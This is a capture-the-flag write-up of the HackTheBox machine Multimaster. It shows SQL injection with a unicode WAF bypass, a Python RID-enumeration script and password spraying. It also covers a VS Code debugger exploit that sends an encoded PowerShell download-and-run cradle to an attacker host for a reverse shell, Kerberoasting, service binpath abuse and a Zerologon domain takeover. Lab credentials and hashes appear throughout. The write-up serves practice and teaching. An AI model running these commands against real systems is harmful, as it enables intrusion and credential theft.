Post

Multimaster HackTheBox

Multimaster HackTheBox

Multimaster HackTheBox

Multimaster is an insane difficulty Windows machine featuring a web application that is vulnerable to SQL Injection. This vulnerability is leveraged to obtain the foothold on the server. Examination the file system reveals that a vulnerable version of VS Code is installed, and VS Code processes and found to be running on the server. By exploiting debug functionality, a shell as the user cyork can be gained. A password is found in a DLL, which due to password reuse, results in a shell as sbauer. This user is found to have GenericWrite permissions on the user jorden. Abusing this privilege allows us to gain access to the server as this user. jorden is be member of Server Operators group, whose privileges we exploit to get a SYSTEM shell.

image.png

Initial Foothold

Rustscan

We start off with rustscan to find open ports and services running on the box.

1
rustscan -a 10.129.95.200 -r 1-65535 -- -sC -sV -vv 10.129.95.200

image.png

image.png

We identified it is an active directory environment with the domain name registered as megacorp.local and the DC is multimaster, so the FQDN be MULTIMASTER.MEGACORP.LOCAL

There is also a webserver running on port 80.

Web Enumeration

Visiting the webpage on port 80 we have this page.

image.png

We have a login page also, but that feature doesn’t work!

So moving forward with the web enumeration.

The most important part in the whole website is the colleague finder one since it searches all the colleagues of the domain.

image.png

This page denies wild card characters.

So I captured the request in burp for manual enumeration.

image.png

Now I saved this request to a file and sent it to sqlmap to find any SQLI present in the page.

1
sqlmap -r name.req --tamper=space2comment --batch --level 3 --risk 3

I ran into WAF that protects the web app.

image.png

WFUZZ (Identify Bad Characters)

Lets use wfuzz to find the bad characters which are not allowed.

1
wfuzz -u http://10.129.95.200/api/getColleagues -w /usr/share/wordlists/SecLists/Fuzzing/special-chars.txt -d '{"name"="FUZZ"}' -c -s 3

image.png

As we can see in the above page that we got forbidden (code 403) after some of the code 415’s, this is because WAF is protecting the page.

Also # and are blocked rest else are allowed.

We need to figure out a way to bypass WAF.

One thing identified with burp is that it processes unicode characters.

image.png

But is not returning any colleagues in the output.

SQLMAP (tamper script charunicodeescape)

There is tamper script in the sqlmap suite known as charunicodeescape.py

image.png

Lets run sqlmap on our request with this script.

1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5

image.png

image.png

It identified the injection for us now lets try to retrieve the databases.

1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 --dbs

image.png

Lets retrieve tables from Hub_DB database.

1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB --tables

image.png

Dumping these both tables.

1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB -T Colleagues --dump

image.png

Dumping the logins table

1
sqlmap -r name.req --tamper=charunicodeescape --batch --level 5 --risk 3 --delay 5 -D Hub_DB -T Logins --dump

image.png

Now we have all the hashes for the users.

Lets try to crack them using hashcat.

Hash Cracking

Using hashcat to crack these hashes.

image.png

None of the hashes cracked when used 10800 mode SHA2-384 for cracking.

So used Keccak-384 to crack them.

1
hashcat -m 17900 --user hashes.txt /usr/share/wordlists/rockyou.txt

image.png

It cracked 3 of them.

Kerbrute

Lets now validate the users across the domain.

1
kerbrute userenum -d megacorp.local --dc 10.129.95.200 users.txt

image.png

Password Spray

Lets test these users with the cracked hashes using Netexec.

1
nxc smb 10.129.95.200 -u users.txt  -p creds.txt --continue-on-success

image.png

None of the passwords matched.

RID Bruteforcing SQLI (Manual Python Script)

Now we need to find a way to extract domain users, since MSSQL is running on the box but is not exposed to us.

We only have one option to get the domain users by RID Bruteforcing using SQLI which is nicely explained in this article.

https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

Also lets first get our SQLI union injection to work successfully.

image.png

The above payload is working correctly.

Also we know that it accepts unicode characters and we have a successful SQLI.

This gets blocked, well obviously since its not encoded.

image.png

So lets encode these characters and then do our UNION injection.

image.png

Here what I did is used this payload

1
2
a' union select 1,2,3,4,5-- -
a\u0027 uni\u006fn se\u006cect 1,2,3,4,5\u002d\u002d \u002d

What it does is now we are in control of the fields.

Lets get the DEFAULT_DOMAIN()

image.png

So now lets try to get the SIDs for the objects in the Domain.

I am gonna be using this payload

1
a' union select 1,2,master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')),4,5-- -

Then UNICODE encode it fully using cyberchef.

image.png

image.png

We got the SUSER SID now need to convert it to RID, so wrote this simple python script.

1
2
3
4
5
6
7
8
9
10
11
sid_hex = '0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000'
hex_bytes = bytes.fromhex(sid_hex[2:])
import struct
rid = struct.unpack('<I', hex_bytes[-4:])[0]
print(f'RID: {rid}')

# Full SID reconstruction
sub_count = hex_bytes[1]
auth = int.from_bytes(hex_bytes[2:8], 'big')
subs = [struct.unpack('<I', hex_bytes[8+i*4:12+i*4])[0] for i in range(sub_count)]
print(f'Full SID: S-1-{auth}-{"-".join(map(str,subs))}')

This returns.

image.png

500 confirms that it is Administrator.

So in the SID part 0x0105000000000005150000001c00d1bcd181f1492bdfc236 is the domain and f4010000 represents the user Administrator.

So let me write a python script to find the rids of domain users.

This is a basic script to get the data using SQLI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import json
import binascii
import sys
import struct
import time
endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}
payload_str = "a' union select 1,2,3,4,5-- -"

unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])

payload = '{"name":"' + unicode_encoded + '"}'

req = requests.post(endpoint,data=payload,headers=ct)

print(req.text)

This returns

image.png

Lets get the SUSER_SID of Administrator using the script.

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import json
import binascii
import sys
import struct
import time
endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}
payload_str = "a' union select 1,2,master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\\guest')),4,5-- -"
unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])
payload = '{"name":"' + unicode_encoded + '"}'
req = requests.post(endpoint,data=payload,headers=ct)
print(req.text)

image.png

The final script should look like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import json
import binascii
import sys
import struct
import time
import struct

domain_sid = bytes.fromhex('0105000000000005150000001c00d1bcd181f1492bdfc236')

endpoint = "http://10.129.95.200/api/getColleagues"
ct = {"Content-Type":"application/json;charset=UTF-8"}

for rid in range(500, 5000):

  try:
    rid_bytes = struct.pack('<I', rid)
    full_sid = domain_sid + rid_bytes
    hex_sid = '0x' + full_sid.hex()
    
    payload_str = f"a' union select 1,2,SUSER_SNAME({hex_sid}),4,5-- -"
    unicode_encoded = "".join([r"\u{:04x}".format(ord(c)) for c in payload_str])
    payload = '{"name":"' + unicode_encoded + '"}'

    req = requests.post(endpoint,data=payload,headers=ct)
    
    data_parse = json.loads(req.text)
    extract_pos = data_parse[0]['position']

    if extract_pos:
      print(f"[+] RID {rid}: {extract_pos}")
    else:
      print(f"[-] RID {rid}: empty", end='\r')
    
  except:
    time.sleep(10)

image.png

Basically what its doing is getting all the usernames from the megacorp domain based upon the SID is being passed to the SUSER_SNAME() function.

And the whole process is automated and if WAF triggers it sleeps for 10 seconds and then tries the next SID.

Since the script is taking much longer time I changed the RID parameters starting from 500 to 1000 and reran the script.

image.png

Found some more added them to users.txt

With that we now have some of the domain users, I will save them to a users.txt file and now we test those passwords across these domain users (letting the script run in the background)

1
nxc smb 10.129.95.200 -u users.txt  -p creds.txt --continue-on-success | grep "[+]"

image.png

Authentication as Tushikikatomo

We have authentication as Tushikikatomo user lets enumerate shares with this user.

1
nxc smb 10.129.95.200 -u tushikikatomo -p finance1 --shares

image.png

We have a dfs share, lets see whats there using smbclient.

image.png

Unknown error occurred.

Lets check for winrm access.

1
nxc winrm 10.129.95.200 -u tushikikatomo -p finance1

image.png

Lets login as tushikikatomo

1
evil-winrm-py -i 10.129.95.200 -u tushikikatomo -p finance1

image.png

Claiming the user.txt and moving forward with the privilege escalation.

Privilege Escalation

Bloodhound

Lets gather bloodhound data using rusthound.

1
rusthound -d megacorp.local -u 'tushikikatomo' -p 'finance1' -i 10.129.95.200 -f 'multimaster.megacorp.local' -z

image.png

image.png

There were no outbounds present with our compromised user so looking in the box only for the clues.

MS VSCode and Studio Port Debugging

In the program data directory there were 2 folders that appear to be odd MS VS CODE and MS VISUAL STUDIO.

image.png

Listing all the processes we have this

image.png

Also the Visual Studio code is running and have some ports open.

image.png

To debug these ports whats running on them we have a tool called CEFDebugger.

https://github.com/taviso/cefdebug/releases/tag/v0.2

Authentication as Cyork

Running the CEF debugger.

1
.\cefdebug.exe

image.png

So I created a powershell cradle.

image.png

1
2
3
.\cefdebug --code "process.mainModule.require('child_process').exec('powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACA
ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADIANgA6ADkAMAA5ADAALwBzAGgAZQBsA
GwALgBwAHMAMQAnACkA')" --url ws://127.0.0.1:18116/cb0a076a-f9f0-4481-8822-966743629b5d

Send the full command using encrypted powershell and got the reverse shell connection back to me on port 9004.

image.png

Now we are cyork.

Now lets check that weather we have access to the webserver directory or not.

Trying to list files in the webserver root.

image.png

MultimasterAPI.dll caught my attention, since its a custom dll created by a user and generally is not present on the webserver directories.

Copied the .dll using the smbserver.

So lets run strings on the .dll

1
strings -e l MultimasterAPI.dll

Running the strings with 16 bits (-e l) option we get some creds.

image.png

Authentication as Sbauer

So lets run this password across the domain with all the users.

1
nxc smb 10.129.95.200 -u users.txt  -p 'D3veL0pM3nT!'

image.png

We got a hit as sbauer. Marking them as owned in bloodhound.

Also checking the outbounds from the user sbauer.

image.png

Authentication as Jorden

We have genericWrite over Jorden as sbauer lets use targetedkerberoast.py to exploit this and get the crackable hash for jorden user.

1
faketime -f "+10m" python3 /opt/targetedKerberoast/targetedKerberoast.py -u 'sbauer' -p 'D3veL0pM3nT!' -d megacorp.local --dc-ip 10.129.95.200

image.png

Cracking this hash using hashcat.

1
hashcat -m 13100 jordenhash.txt /usr/share/wordlists/rockyou.txt

image.png

Lets validate this password.

1
nxc winrm megacorp.local -u jorden -p rainforest786 --shares

image.png

Also this user is a member of server operators.

image.png

We have SeBackupPrivilege.

So copying the sam and system to our local machine and trying to dump the hashes.

image.png

Running secretsdump.py reveals the hashes but was incorrect.

image.png

Since jorden is a member of server operators

Members of this group have the permissions to modify services , start and stop them.

Service Abuse as Jorden

Running Winpeas.exe on the box.

And we can see that we have a lot of services in which we have write access to.

image.png

Lets modify UsoSvc. Since this is the most common service and easily exploitable too.

image.png

Modifying the path of the service.

1
sc.exe config UsoSvc binpath="C:\Windows\System32\cmd.exe /c net localgroup administrators jorden /add"

image.png

Logging out and reconnecting with winrm to get a new token as an local administrator.

image.png

We are now the local administrator.

Lets now read the root.txt from the administrator desktop.

image.png

Rooted!

There is also another way of rooting this box using the Zerologon vulnerability which is a unintended path.

Please read below!

Unintended Way

Zerologon (Windows server 2016)

1
nxc smb 10.129.95.200 -u tushikikatomo -p finance1 -M zerologon

image.png

Cloning the repo and running the exploit.

https://github.com/dirkjanm/cve-2020-1472

1
python3 cve-2020-1472-exploit.py 'multimaster$' 10.129.95.200

image.png

Now lets run secretsdump and dump the full domain. This hash 31D6CFE0D16AE931B73C59D7E0C089C0 represents an empty password hash, and since we set the DC’s password to empty string it works with secretsdump.py to dump the full domain.

1
secretsdump.py megacorp.local/'multimaster$'@multimaster.megacorp.local -hashes ':31D6CFE0D16AE931B73C59D7E0C089C0'

image.png

image.png

image.png

Lets authenticate.

1
nxc smb megacorp.local -u Administrator -H 69cbf4a9b7415c9e1caf93d51d971be0

image.png

Using psexec.py to login.

1
psexec.py  -hashes :69cbf4a9b7415c9e1caf93d51d971be0 megacorp.local/Administrator@10.129.95.200

image.png

Rooted!

image.png

Thanks for Reading 😄

This post is licensed under CC BY 4.0 by the author.